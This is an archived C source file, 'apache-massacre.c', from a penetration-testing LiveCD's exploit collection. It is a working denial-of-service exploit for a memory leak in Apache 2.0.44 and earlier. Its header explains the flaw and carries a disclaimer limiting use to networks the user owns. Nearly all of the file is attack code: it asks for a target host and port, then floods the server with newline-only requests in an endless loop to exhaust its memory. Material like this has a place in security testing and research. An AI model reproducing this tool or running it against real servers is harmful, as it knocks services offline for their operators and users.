home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / apache / apache-massacre.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  172 lines

  1. /* apache-massacre.c
  2.  * Test code for Apache 2.x Memory Leak
  3.  * By Matthew Murphy
  4.  *
  5.  * DISCLAIMER: This exploit tool is provided only to test networks for a
  6.  * known vulnerability.  Do not use this tool on systems you do not control,
  7.  * and do not use this tool on networks you do not own without appropriate
  8.  * consent from the network owner.  You are responsible for any damage your
  9.  * use of the tool causes.  In no event may the author of this tool be held
  10.  * responsible for damages relating to its use.
  11.  *
  12.  * Apache 2.x (2.0.44 and prior) has a memory leak in its request handling
  13.  * that causes it to handle newlines in an akward manner -- it allocates
  14.  * 80 bytes for each.  This quickly turns into a nightmare for server stats.
  15.  * On Windows XP, I was able to cause Apache to consume 390 MB in a matter
  16.  * of a few minutes.
  17.  *
  18.  * The idea is to fire off millions of newlines, depriving Apache of valuable
  19.  * memory, causing a huge performance degredation.  The worst part about this
  20.  * flaw is that leaked memory isn't recovered until the Apache child process
  21.  * terminates.
  22.  *
  23.  * The high consumption drops some when the session ends, but there is still
  24.  * a substantial increase in memory use that doesn't end until Apache exits.
  25.  * I got memory use up to a peak of about 69,000 KB, and it dropped down to
  26.  * about 37,000 KB.  The attacking code was the only traffic on the server --
  27.  * the idle memory use of the server is about 7,132 KB.  Although the leak is
  28.  * cut in half when the connection terminates, the leak is still a mighty
  29.  * 29,878 KB (21.3 MB).  All this occurred in a matter of 15 seconds on my
  30.  * 2.51 GHz P4.
  31.  *
  32.  * As with most Apache exposures, the impacts vary between ports of the server:
  33.  *
  34.  * Non-Unix (Win32, Netware, OS/2): These ports are most adversely affected
  35.  * by this, as Apache's child process doesn't terminate normally unless the
  36.  * parent process stops.  This means that leaks (and any performance loss) hang
  37.  * around until Apache is restarted.
  38.  *
  39.  * Unix/mpm_prefork: This MPM offers the most protection against successful
  40.  * exploitation, as its processes exit at the end of the request.
  41.  *
  42.  * Unix/other MPMs: These other MPMs utilize multiple Apache processes for 
  43.  * multiple Apache requests.  Depending on the MPM in use and the traffic rates
  44.  * of the server, this may be used to the advantage of a potential attacker.
  45.  * If multiple different Apache processes are utilized, an attacker can spread
  46.  * the substantial leak between processes to dodge resource limits imposed on
  47.  * httpd's UID (usually nobody, www, or apache)
  48.  *
  49.  * Credit: iDEFENSE reported this issue to several security lists on April 8,
  50.  * 2003 following the Apache release announcement.  Apache fixed the flaw about
  51.  * a month after the initial disclosure of this vulnerability.  iDEFENSE credits
  52.  * the discovery of this vulnerability to an anonymous researcher.
  53.  *
  54.  * Happy Hunting!
  55.  */
  56.  
  57. #ifndef _WIN32
  58. #include <netdb.h>
  59. #include <sys/types.h>
  60. #include <sys/socket.h>
  61. #include <sys/wait.h>
  62. #include <sys/stat.h>
  63. #include <sys/time.h>
  64. #include <netinet/in.h>
  65. #include <fcntl.h>
  66. #else
  67. #include <windows.h>
  68. #pragma comment(lib, "wsock32.lib")
  69. #endif
  70. #include <stdlib.h>
  71. #include <stdio.h>
  72.  
  73. int sig_fired = 0;
  74.  
  75. #ifndef _WIN32
  76. void sig_handler(int sig) {
  77. #else
  78. BOOL WINAPI sig_handler(DWORD dwCtrlType) {
  79. #endif
  80.     sig_fired = 1;
  81. #ifndef _WIN32
  82.     return;
  83. #else
  84.     return TRUE;
  85. #endif
  86. }
  87.  
  88. int main(int argc, char *argv[]) {
  89.     SOCKET s;
  90.     struct sockaddr_in sin;
  91.     char buffer[1025];
  92.     struct hostent *he;
  93.     unsigned short iPort = 80;
  94.     int newlines = 100;
  95.     char *p;
  96.     char *p2;
  97.     int i;
  98. #ifdef _WIN32
  99.     WSADATA wsa_prov;
  100. #endif
  101.     printf("Apache Massacre v1.0\r\n");
  102.     printf("Exploit by Matthew Murphy\r\n");
  103.     printf("Vulnerability reported by iDEFENSE Labs\r\n\r\n");
  104. #ifdef _WIN32
  105.     if (WSAStartup(0x0101, &wsa_prov)) {
  106.         perror("WSAStartup");
  107.         exit(1);
  108.     }
  109. #endif
  110.     printf("Please enter the web server's host/IP: ");
  111.     fgets(&buffer[0], 1024, stdin);
  112.     he = gethostbyname(&buffer[0]);
  113.     if (!he) {
  114.         perror("gethostbyname");
  115.         exit(1);
  116.     }
  117.     sin.sin_addr.s_addr = *((unsigned long *)he->h_addr);
  118.     printf("Please enter the web server's port: ");
  119.     fgets(&buffer[0], 1024, stdin);
  120.     iPort = (unsigned short)atoi(&buffer[0]);
  121. #ifndef _WIN32
  122. #ifdef _SOLARIS
  123.     sigset(SIGINT, &sig_handler);
  124. #else
  125.     signal(SIGINT, &sig_handler);
  126. #endif
  127. #else
  128.     SetConsoleCtrlHandler(&sig_handler, TRUE);
  129. #endif
  130.     printf("How many newlines should be in each request [100]: ");
  131.     fgets(&buffer[0], 1024, stdin);
  132.     if (!buffer[0] == 0x0D && !buffer[0] == 0x0A) {
  133.         newlines = atoi(&buffer[0]);
  134.     }
  135.     p = malloc(newlines*2);
  136.     p2 = p;
  137.     for (i = 0; i < newlines; i++) {
  138.         *p2 = 0x0D;
  139.         p2++;
  140.         *p2 = 0x0A;
  141.         p2++;
  142.     }
  143.     newlines += newlines;
  144.     s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  145.     if (s < 0) {
  146.         perror("socket");
  147.         exit(1);
  148.     }
  149.     sin.sin_family = AF_INET;
  150.     sin.sin_port = htons(iPort);
  151.     if (connect(s, (const struct sockaddr *)&sin, sizeof(struct sockaddr_in))) {
  152.         perror("connect");
  153.         exit(1);
  154.     }
  155.     while (1) {
  156.         if (!send(s, (char *)p, newlines, 0) == newlines) {
  157.             perror("send");
  158.             exit(1);
  159.         }
  160.         if (sig_fired) {
  161.             printf("Terminating on SIGINT");
  162.             free(p);
  163. #ifndef _WIN32
  164.             close(s);
  165. #else
  166.             closesocket(s);
  167.             WSACleanup();
  168. #endif
  169.             exit(0);
  170.         }
  171.     }
  172. }